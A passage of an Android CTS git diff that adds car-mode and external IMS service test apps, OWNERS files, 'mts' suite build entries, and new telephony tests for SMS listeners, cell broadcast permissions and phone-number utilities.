mICtsThirdPartyInCallServiceControl.resetLatchForServiceBound(true);
}
- public void doNotTestCallWithThirdPartyCarModeApp() throws Exception {
- // Set car mode app default.
- mCtsRoleManagerAdapter.addAutomotiveRoleHolder(mThirdPartyPackageName);
- assertEquals(mThirdPartyPackageName,
- mCtsRoleManagerAdapter.getRoleHolders(ROLE_CAR_MODE_DIALER_APP).get(0));
-
- mUiModeManager.enableCarMode(0);
- addAndVerifyNewIncomingCallInCarMode(sTestUri, null);
- mICtsThirdPartyInCallServiceControl.resetLatchForServiceBound(true);
- }
-
private void addAndVerifyNewIncomingCallInCarMode(Uri incomingHandle, Bundle extras)
throws RemoteException {
int currentCallCount = mICtsThirdPartyInCallServiceControl.getLocalCallCount();
diff --git a/tests/tests/telecom/src/android/telecom/cts/VideoCallTest.java b/tests/tests/telecom/src/android/telecom/cts/VideoCallTest.java
index 7f2b27b..ff9c7c2 100644
--- a/tests/tests/telecom/src/android/telecom/cts/VideoCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/VideoCallTest.java
@@ -103,7 +103,7 @@
}
placeAndVerifyCall(VideoProfile.STATE_AUDIO_ONLY);
- verifyConnectionForOutgoingCall();
+ Connection connection = verifyConnectionForOutgoingCall();
final MockInCallService inCallService = mInCallCallbacks.getService();
final Call call = inCallService.getLastCall();
@@ -114,6 +114,7 @@
InCallService.VideoCall videoCall = call.getVideoCall();
videoCall.sendSessionModifyRequest(new VideoProfile(VideoProfile.STATE_BIDIRECTIONAL));
assertVideoState(call, VideoProfile.STATE_BIDIRECTIONAL);
+ assertEquals(VideoProfile.STATE_BIDIRECTIONAL, connection.getVideoState());
assertResponseVideoProfileReceived(inCallService.getVideoCallCallback(call),
VideoProfile.STATE_BIDIRECTIONAL);
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java
new file mode 100644
index 0000000..d4da08a
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.carmodetestapp;
+
+import android.content.Intent;
+import android.telecom.Call;
+import android.telecom.InCallService;
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * A simple car-mode InCallService implementation.
+ */
+public class CtsCarModeInCallService extends InCallService {
+ private static final String TAG = CtsCarModeInCallService.class.getSimpleName();
+ private static boolean sIsServiceBound = false;
+ private static boolean sIsServiceUnbound = false;
+ private static CtsCarModeInCallService sInstance = null;
+ private int mCallCount = 0;
+ private List<Call> mCalls = new ArrayList<>();
+
+ @Override
+ public android.os.IBinder onBind(Intent intent) {
+ sIsServiceBound = true;
+ sIsServiceUnbound = false;
+ sInstance = this;
+ Log.i(TAG, "InCallService on bind");
+ return super.onBind(intent);
+ }
+
+ @Override
+ public boolean onUnbind(Intent intent) {
+ sIsServiceBound = false;
+ sIsServiceUnbound = true;
+ sInstance = null;
+ Log.i(TAG, "InCallService on unbind");
+ return super.onUnbind(intent);
+ }
+
+ @Override
+ public void onCallAdded(Call call) {
+ Log.i(TAG, "onCallAdded - " + call);
+ mCallCount++;
+ mCalls.add(call);
+ }
+
+ @Override
+ public void onCallRemoved(Call call) {
+ Log.i(TAG, "onCallRemoved - " + call);
+ mCallCount--;
+ mCalls.remove(call);
+ }
+
+ public static boolean isBound() {
+ return sIsServiceBound;
+ }
+
+ public static boolean isUnbound() {
+ return sIsServiceUnbound;
+ }
+
+ public static CtsCarModeInCallService getInstance() {
+ return sInstance;
+ }
+
+ public static void reset() {
+ sIsServiceUnbound = false;
+ sIsServiceBound = false;
+ }
+
+ public int getCallCount() {
+ return mCallCount;
+ }
+
+ public void disconnectCalls() {
+ for (Call call : mCalls) {
+ call.disconnect();
+ }
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java
new file mode 100644
index 0000000..3ec5d83
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallServiceControl.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.carmodetestapp;
+
+import android.app.Service;
+import android.app.UiModeManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+
+/**
+ * Control class for the car mode app; allows CTS tests to perform operations using the car mode
+ * test app.
+ */
+public class CtsCarModeInCallServiceControl extends Service {
+ private static final String TAG = CtsCarModeInCallServiceControl.class.getSimpleName();
+ public static final String CONTROL_INTERFACE_ACTION =
+ "android.telecom.cts.carmodetestapp.ACTION_CAR_MODE_CONTROL";
+ public static final ComponentName CONTROL_INTERFACE_COMPONENT =
+ new ComponentName(CtsCarModeInCallServiceControl.class.getPackage().getName(),
+ CtsCarModeInCallServiceControl.class.getName());
+
+ private final IBinder mCtsControl = new ICtsCarModeInCallServiceControl.Stub() {
+ @Override
+ public boolean isBound() {
+ return CtsCarModeInCallService.isBound();
+ }
+
+ @Override
+ public boolean isUnbound() {
+ return CtsCarModeInCallService.isUnbound();
+ }
+
+ @Override
+ public void reset() {
+ CtsCarModeInCallService.reset();
+ UiModeManager uiModeManager = getSystemService(UiModeManager.class);
+ uiModeManager.disableCarMode(0);
+ }
+
+ @Override
+ public void disconnectCalls() {
+ CtsCarModeInCallService.getInstance().disconnectCalls();
+ }
+
+ @Override
+ public int getCallCount() {
+ return CtsCarModeInCallService.getInstance().getCallCount();
+ }
+
+ @Override
+ public void enableCarMode(int priority) {
+ UiModeManager uiModeManager = getSystemService(UiModeManager.class);
+ uiModeManager.enableCarMode(priority, 0);
+ }
+
+ @Override
+ public void disableCarMode() {
+ UiModeManager uiModeManager = getSystemService(UiModeManager.class);
+ uiModeManager.disableCarMode(0);
+ }
+ };
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ if (CONTROL_INTERFACE_ACTION.equals(intent.getAction())) {
+ Log.d(TAG, "onBind: return control interface.");
+ return mCtsControl;
+ }
+ Log.d(TAG, "onBind: invalid intent.");
+ return null;
+ }
+}
diff --git a/tests/tests/telecom2/OWNERS b/tests/tests/telecom2/OWNERS
new file mode 100644
index 0000000..f4921e0
--- /dev/null
+++ b/tests/tests/telecom2/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+include ../telephony/OWNERS
diff --git a/tests/tests/telecom3/OWNERS b/tests/tests/telecom3/OWNERS
new file mode 100644
index 0000000..f4921e0
--- /dev/null
+++ b/tests/tests/telecom3/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+include ../telephony/OWNERS
diff --git a/tests/tests/telephony/OWNERS b/tests/tests/telephony/OWNERS
new file mode 100644
index 0000000..d4ae5d0
--- /dev/null
+++ b/tests/tests/telephony/OWNERS
@@ -0,0 +1,13 @@
+# Bug component: 20868
+amitmahajan@google.com
+fionaxu@google.com
+jackyu@google.com
+rgreenwalt@google.com
+refuhoo@google.com
+jminjie@google.com
+shuoq@google.com
+hallliu@google.com
+tgunn@google.com
+breadley@google.com
+nazaninb@google.com
+sarahchin@google.com
diff --git a/tests/tests/telephony/TestFinancialSmsApp/Android.bp b/tests/tests/telephony/TestFinancialSmsApp/Android.bp
index ac409da..15a82ac 100644
--- a/tests/tests/telephony/TestFinancialSmsApp/Android.bp
+++ b/tests/tests/telephony/TestFinancialSmsApp/Android.bp
@@ -23,5 +23,6 @@
test_suites: [
"cts",
+ "mts",
],
}
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsApp/Android.bp b/tests/tests/telephony/TestSmsApp/Android.bp
index 99f7292..1488d12 100644
--- a/tests/tests/telephony/TestSmsApp/Android.bp
+++ b/tests/tests/telephony/TestSmsApp/Android.bp
@@ -24,5 +24,6 @@
test_suites: [
"cts",
+ "mts",
],
}
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsApp22/Android.bp b/tests/tests/telephony/TestSmsApp22/Android.bp
index 586207f..5bc7338 100644
--- a/tests/tests/telephony/TestSmsApp22/Android.bp
+++ b/tests/tests/telephony/TestSmsApp22/Android.bp
@@ -24,5 +24,6 @@
test_suites: [
"cts",
+ "mts",
],
}
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
index 54b2303..2aeb3c9 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
+++ b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
@@ -23,5 +23,6 @@
test_suites: [
"cts",
+ "mts",
],
}
\ No newline at end of file
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index df61ec9..aecae02 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -12,13 +12,31 @@
// See the License for the specific language governing permissions and
// limitations under the License.
+filegroup {
+ name: "telephony-cts-ims-common-srcs",
+ srcs: [
+ "src/android/telephony/ims/cts/TestImsService.java",
+ "src/android/telephony/ims/cts/TestRcsFeature.java",
+ "src/android/telephony/ims/cts/TestMmTelFeature.java",
+ "src/android/telephony/ims/cts/TestImsSmsImpl.java",
+ "src/android/telephony/ims/cts/TestImsConfig.java",
+ "src/android/telephony/ims/cts/ImsUtils.java",
+ ],
+ path: "src/",
+}
+
android_test {
name: "CtsTelephonyTestCases",
defaults: ["cts_defaults"],
- libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"],
- // uncomment when b/13250611 is fixed
- //sdk_version: "current"
+ libs: [
+ "telephony-common",
+ "android.test.runner.stubs",
+ "android.test.base.stubs"
+ ],
+ // uncomment when EuiccService tests do not use hidden APIs (Binder instances)
+ //sdk_version: "test_current",
static_libs: [
+ "androidx.test.ext.junit",
"ctstestrunner-axt",
"hamcrest-library",
"compatibility-device-util-axt",
@@ -30,14 +48,24 @@
"EmbmsMiddlewareTestApp/**/I*.aidl",
"LocationAccessingApp/**/*.java",
"LocationAccessingApp/**/I*.aidl",
+ "TestExternalImsServiceApp/**/*.java",
+ "TestExternalImsServiceApp/**/I*.aidl",
],
aidl: {
- local_include_dirs: ["EmbmsMiddlewareTestApp/aidl/"],
+ local_include_dirs: [
+ "EmbmsMiddlewareTestApp/aidl/",
+ "TestExternalImsServiceApp/aidl/",
+ ]
},
test_suites: [
"cts",
"vts",
+ "mts",
"general-tests",
],
platform_apis: true,
+ host_required: [
+ "compatibility-host-telephony-preconditions",
+ "cts-tradefed",
+ ],
}
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index 129b03d..74b9554 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -139,6 +139,15 @@
</intent-filter>
</service>
+ <service android:name="android.telephony.ims.cts.TestImsService"
+ android:directBootAware="true"
+ android:persistent="true"
+ android:permission="android.permission.BIND_IMS_SERVICE">
+ <intent-filter>
+ <action android:name="android.telephony.ims.ImsService" />
+ </intent-filter>
+ </service>
+
<activity android:name="android.telephony.cts.StubDialerActvity">
<intent-filter>
<action android:name="android.intent.action.DIAL" />
diff --git a/tests/tests/telephony/current/AndroidTest.xml b/tests/tests/telephony/current/AndroidTest.xml
index 55f5ddf..64ae177 100644
--- a/tests/tests/telephony/current/AndroidTest.xml
+++ b/tests/tests/telephony/current/AndroidTest.xml
@@ -33,6 +33,7 @@
<option name="test-file-name" value="TestSmsRetrieverApp.apk"/>
<option name="test-file-name" value="TestFinancialSmsApp.apk"/>
<option name="test-file-name" value="LocationAccessingApp.apk"/>
+ <option name="test-file-name" value="TestExternalImsServiceApp.apk"/>
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.telephony.cts" />
diff --git a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
index 6ea4744..000b499 100644
--- a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
+++ b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
@@ -27,6 +27,7 @@
sdk_version: "test_current",
test_suites: [
"cts",
+ "mts",
"vts",
],
}
diff --git a/tests/tests/telephony/current/LocationAccessingApp/Android.bp b/tests/tests/telephony/current/LocationAccessingApp/Android.bp
index 32b58c3..5604c75 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/Android.bp
+++ b/tests/tests/telephony/current/LocationAccessingApp/Android.bp
@@ -12,5 +12,6 @@
test_suites: [
"cts",
"vts",
+ "mts",
],
}
diff --git a/tests/tests/telephony/current/OWNERS b/tests/tests/telephony/current/OWNERS
deleted file mode 100644
index 7c8e7d8c..0000000
--- a/tests/tests/telephony/current/OWNERS
+++ /dev/null
@@ -1,5 +0,0 @@
-# Bug component: 20868
-rgreenwalt@google.com
-jackyu@google.com
-tgunn@google.com
-amitmahajan@google.com
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
new file mode 100644
index 0000000..50c7e92
--- /dev/null
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
@@ -0,0 +1,21 @@
+android_test_helper_app {
+ name: "TestExternalImsServiceApp",
+ defaults: ["cts_defaults"],
+ srcs: [
+ "src/**/*.java",
+ "aidl/**/I*.aidl",
+ ":telephony-cts-ims-common-srcs"
+ ],
+ static_libs: [
+ "compatibility-device-util-axt",
+ ],
+ aidl: {
+ local_include_dirs: ["aidl/"],
+ },
+ sdk_version: "test_current",
+ test_suites: [
+ "cts",
+ "vts",
+ "mts",
+ ]
+}
diff --git a/hostsidetests/stagedinstall/testdata/apk/Bv1.xml b/tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml
similarity index 61%
rename from hostsidetests/stagedinstall/testdata/apk/Bv1.xml
rename to tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml
index 2a108b9..7062fd4 100644
--- a/hostsidetests/stagedinstall/testdata/apk/Bv1.xml
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/AndroidManifest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
<!--
~ Copyright (C) 2019 The Android Open Source Project
~
@@ -13,20 +14,19 @@
~ See the License for the specific language governing permissions and
~ limitations under the License
-->
+
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.tests.stagedinstall.testapp.B"
- android:versionCode="1"
- android:versionName="1.0" >
+ package="android.telephony.cts.externalimsservice">
-
- <uses-sdk android:minSdkVersion="19" />
-
- <application android:label="StagedInstall Test App B v1">
- <activity android:name="com.android.tests.stagedinstall.testapp.MainActivity">
+ <application>
+ <service android:name=".TestExternalImsService"
+ android:directBootAware="true"
+ android:persistent="true">
+ <meta-data android:name="override_bind_check" android:value="true" />
<intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
+ <action android:name="android.telephony.ims.ImsService" />
</intent-filter>
- </activity>
+ </service>
</application>
</manifest>
+
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/aidl/android/telephony/cts/externalimsservice/ITestExternalImsService.aidl b/tests/tests/telephony/current/TestExternalImsServiceApp/aidl/android/telephony/cts/externalimsservice/ITestExternalImsService.aidl
new file mode 100644
index 0000000..86c8305
--- /dev/null
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/aidl/android/telephony/cts/externalimsservice/ITestExternalImsService.aidl
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts.externalimsservice;
+
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+
+/**
+ * Interface for Testing an external ImsService implementation. Since it is not in the same process,
+ * it can not be passed locally.
+ */
+interface ITestExternalImsService {
+ boolean waitForLatchCountdown(int latchIndex);
+ void setFeatureConfig(in ImsFeatureConfiguration f);
+ boolean isRcsFeatureCreated();
+ boolean isMmTelFeatureCreated();
+ void resetState();
+ void updateImsRegistration(int radioTech);
+ void notifyRcsCapabilitiesStatusChanged(int capability);
+ boolean isRcsCapable(int capability, int radioTech);
+ boolean isRcsAvailable(int capability);
+}
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/src/android/telephony/cts/externalimsservice/TestExternalImsService.java b/tests/tests/telephony/current/TestExternalImsServiceApp/src/android/telephony/cts/externalimsservice/TestExternalImsService.java
new file mode 100644
index 0000000..1f1c747
--- /dev/null
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/src/android/telephony/cts/externalimsservice/TestExternalImsService.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts.externalimsservice;
+
+import android.content.Intent;
+import android.os.IBinder;
+import android.telephony.ims.cts.ImsUtils;
+import android.telephony.ims.cts.TestImsService;
+import android.telephony.ims.feature.RcsFeature.RcsImsCapabilities;
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.Log;
+
+/**
+ * A test ImsService that is used for GTS Testing. This package is separate from the main test
+ * package because we need to have two packages available.
+ */
+
+public class TestExternalImsService extends TestImsService {
+ private static final String TAG = "GtsImsTestDeviceImsService";
+ // TODO: Use ImsService.SERVICE_INTERFACE definition when it becomes public.
+ private static final String ACTION_BIND_IMS_SERVICE = "android.telephony.ims.ImsService";
+
+ private final TestFrameworkConnection mBinder = new TestFrameworkConnection();
+
+ // For local access of this Service.
+ public class TestFrameworkConnection extends ITestExternalImsService.Stub {
+ public boolean waitForLatchCountdown(int latchIndex) {
+ return TestExternalImsService.this.waitForLatchCountdown(latchIndex);
+ }
+
+ public void setFeatureConfig(ImsFeatureConfiguration f) {
+ TestExternalImsService.this.setFeatureConfig(f);
+ }
+
+ public boolean isRcsFeatureCreated() {
+ return (getRcsFeature() != null);
+ }
+
+ public boolean isMmTelFeatureCreated() {
+ return (getMmTelFeature() != null);
+ }
+
+ public void resetState() {
+ TestExternalImsService.this.resetState();
+ }
+
+ public void updateImsRegistration(int imsRadioTech) {
+ ImsRegistrationImplBase imsReg = TestExternalImsService.this.getImsRegistration();
+ imsReg.onRegistered(imsRadioTech);
+ }
+
+ public void notifyRcsCapabilitiesStatusChanged(int capability) {
+ RcsImsCapabilities capabilities = new RcsImsCapabilities(capability);
+ getRcsFeature().notifyCapabilitiesStatusChanged(capabilities);
+ }
+
+ public boolean isRcsCapable(int capability, int radioTech) {
+ return getRcsFeature().queryCapabilityConfiguration(capability, radioTech);
+ }
+
+ public boolean isRcsAvailable(int capability) {
+ RcsImsCapabilities capabilityStatus = getRcsFeature().queryCapabilityStatus();
+ return capabilityStatus.isCapable(capability);
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ if (ACTION_BIND_IMS_SERVICE.equals(intent.getAction())) {
+ if (ImsUtils.VDBG) {
+ Log.i(TAG, "onBind-Remote");
+ }
+ return super.onBind(intent);
+ }
+ if (ImsUtils.VDBG) {
+ Log.i(TAG, "onBind-Local");
+ }
+ return mBinder;
+ }
+}
diff --git a/tests/tests/telephony/current/preconditions/Android.bp b/tests/tests/telephony/current/preconditions/Android.bp
index f47fa95..b9119dd 100644
--- a/tests/tests/telephony/current/preconditions/Android.bp
+++ b/tests/tests/telephony/current/preconditions/Android.bp
@@ -27,6 +27,7 @@
test_suites: [
"cts",
"vts",
+ "mts",
"general-tests",
],
diff --git a/tests/tests/telephony/current/preconditions/app/Android.bp b/tests/tests/telephony/current/preconditions/app/Android.bp
index 6d840af..b0943d9 100644
--- a/tests/tests/telephony/current/preconditions/app/Android.bp
+++ b/tests/tests/telephony/current/preconditions/app/Android.bp
@@ -27,6 +27,7 @@
test_suites: [
"cts",
"vts",
+ "mts",
"general-tests",
],
sdk_version: "test_current",
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/AsyncSmsMessageListener.java b/tests/tests/telephony/current/src/android/telephony/cts/AsyncSmsMessageListener.java
new file mode 100644
index 0000000..ca0cee2
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/AsyncSmsMessageListener.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import android.content.Intent;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class AsyncSmsMessageListener {
+
+ private static final AsyncSmsMessageListener sInstance = new AsyncSmsMessageListener();
+
+ public static final AsyncSmsMessageListener getInstance() {
+ return sInstance;
+ }
+
+ private final LinkedBlockingQueue<String> mMessages = new LinkedBlockingQueue<>(1);
+ private final LinkedBlockingQueue<Intent> mSentMessageResults = new LinkedBlockingQueue<>(1);
+ private final LinkedBlockingQueue<Intent> mDeliveredMessageResults =
+ new LinkedBlockingQueue<>(1);
+
+ /**
+ * Offer a SMS message to the queue of SMS messages waiting to be processed.
+ */
+ public void offerSmsMessage(String smsMessage) {
+ mMessages.offer(smsMessage);
+ }
+
+ /**
+ * Wait for timeoutMs for a incoming SMS message to be received and return that SMS message,
+ * or null if the SMS message was not received before the timeout.
+ */
+ public String waitForSmsMessage(int timeoutMs) {
+ try {
+ return mMessages.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ return null;
+ }
+ }
+
+ public void offerMessageSentIntent(Intent intent) {
+ mSentMessageResults.offer(intent);
+ }
+
+ public Intent waitForMessageSentIntent(int timeoutMs) {
+ try {
+ return mSentMessageResults.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ return null;
+ }
+ }
+
+ public void offerMessageDeliveredIntent(Intent intent) {
+ mDeliveredMessageResults.offer(intent);
+ }
+
+ public Intent waitForMessageDeliveredIntent(int timeoutMs) {
+ try {
+ return mDeliveredMessageResults.poll(timeoutMs, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ return null;
+ }
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastIntentsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastIntentsTest.java
new file mode 100644
index 0000000..c652131
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastIntentsTest.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.telephony.cts;
+
+import static junit.framework.Assert.fail;
+
+import android.content.Intent;
+import android.os.UserHandle;
+import android.telephony.CellBroadcastIntents;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+
+public class CellBroadcastIntentsTest {
+
+ private static final String TEST_ACTION = "test_action";
+
+ @Test
+ public void testGetIntentForBackgroundReceivers() {
+ try {
+ CellBroadcastIntents.sendOrderedBroadcastForBackgroundReceivers(
+ InstrumentationRegistry.getContext(), UserHandle.ALL, new Intent(TEST_ACTION),
+ null, null, null, null, 0, null, null);
+ } catch (SecurityException e) {
+ // expected
+ return;
+ }
+ fail();
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
new file mode 100644
index 0000000..ed17284
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.telephony.CellSignalStrength;
+import android.telephony.SignalStrength;
+
+import org.junit.Test;
+
+/**
+ * Test CellSignalStrength to ensure that valid data is being reported and that invalid data is
+ * not reported.
+ */
+public class CellSignalStrengthTest {
+ private static final String TAG = "CellSignalStrengthTest";
+
+ /** Check whether NUM_SIGNAL_STRENGTH_BINS holds value 5 as required by
+ * {@link SignalStrength#getLevel)} which returns value between 0 and 4. */
+ @Test
+ public void testGetNumSignalStrengthLevels() {
+ assertEquals(5, CellSignalStrength.getNumSignalStrengthLevels());
+ }
+
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
index daf078b..49558d1 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -31,6 +31,7 @@
import android.provider.Contacts;
import android.provider.Contacts.People;
import android.telephony.PhoneNumberUtils;
+import android.telephony.SubscriptionManager;
import android.telephony.TelephonyManager;
import android.text.Editable;
import android.text.Spannable;
@@ -38,12 +39,12 @@
import android.text.SpannableStringBuilder;
import android.text.style.TtsSpan;
-import java.util.Locale;
-
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
+import java.util.Locale;
+
public class PhoneNumberUtilsTest {
private static final int MIN_MATCH = 7;
@@ -92,6 +93,7 @@
String.format("+1 (700).555-41NN%c1-2.34 %c%cN", PhoneNumberUtils.WAIT,
PhoneNumberUtils.PAUSE,
PhoneNumberUtils.WAIT)));
+ assertEquals("example", PhoneNumberUtils.getUsernameFromUriNumber("example@example.com"));
}
@Test
@@ -332,6 +334,18 @@
// Test isWellFormedSmsAddress
assertTrue(PhoneNumberUtils.isWellFormedSmsAddress("+17005554141"));
assertFalse(PhoneNumberUtils.isWellFormedSmsAddress("android"));
+
+ // Test isUriNumber
+ assertTrue(PhoneNumberUtils.isUriNumber("example@example.com"));
+ assertFalse(PhoneNumberUtils.isUriNumber("+18005555555"));
+
+ // Test isVoicemailNumber -- this is closely tied to the SIM so we'll just test some basic
+ // cases
+ assertFalse(PhoneNumberUtils.isVoiceMailNumber(getContext(),
+ SubscriptionManager.getDefaultSubscriptionId(), null));
+ assertFalse(PhoneNumberUtils.isVoiceMailNumber(getContext(),
+ SubscriptionManager.getDefaultSubscriptionId(), ""));
+
}
@Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsCbMessageTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsCbMessageTest.java
new file mode 100644
index 0000000..6b1ca39
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsCbMessageTest.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
